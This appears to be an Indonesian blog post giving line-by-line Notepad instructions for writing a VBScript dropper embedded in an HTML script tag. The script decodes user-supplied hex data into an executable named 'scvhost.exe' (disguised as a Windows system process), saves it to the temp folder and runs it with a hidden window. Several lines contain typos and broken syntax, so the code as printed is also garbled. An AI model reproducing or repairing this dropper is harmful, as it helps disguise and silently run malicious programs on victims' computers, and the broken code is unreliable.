Remember ! Allah always knows what we do.
Berikut ini langkah - langkahnya :
- Buka aplikasi notepad
- Kemudian ketik di baris pertama "<SCRIPT Languange=Vbscript><!" (tanpa tanda petik)
- Tekan enter untuk berpindah ke baris dua, lalu ketik "DropFileName="scvhost.exe" "
- Pindah baris lagi dan ketik "WriteData=..." (Untuk "..." bisa anda isi dengan kombinasi antara huruf dan angka tanpa spasi sesuai dengan keinginan anda)
- Pindah baris lagi, lalu ketik "Create FSO = Create Object(Scripting.FileSystemObject)"
- Buat baris baru dan ketik "DropParh = FSO.GetSpecialFolder (2) & "\" DropFileName"
- Buat baris baru lagi, dan ketik "if FSO.FileExist (DropPath) = False Then"
- Baris baru lagi, kemudian ketik "SetFileObj = FSO.CreateTextFile (DropPath) = True"
- Pada baris senjutnya, ketik "For i = 1 to LEN (writedata) step2"
- Baut baris lagi dan ketik "File.ObjWriteChr(Clng("&H" & Mid(WriteData, i, 2)))"
- Ketik pada baris baru "Next"
- Pada baris baru ketik "FileObj.Close"
- Pada baris selanjutnya ketik "End if"
- Pindah baris, dan ketik "WSHShell = CreateObject(WSCrip.Shell)"
- Pindah baris lagi, dan ketik "WSHShell.Run DropPath, 0"
- Untuk baris terakhir, ketik "//--></Script><!--"ca"-->"
Tidak ada komentar:
Posting Komentar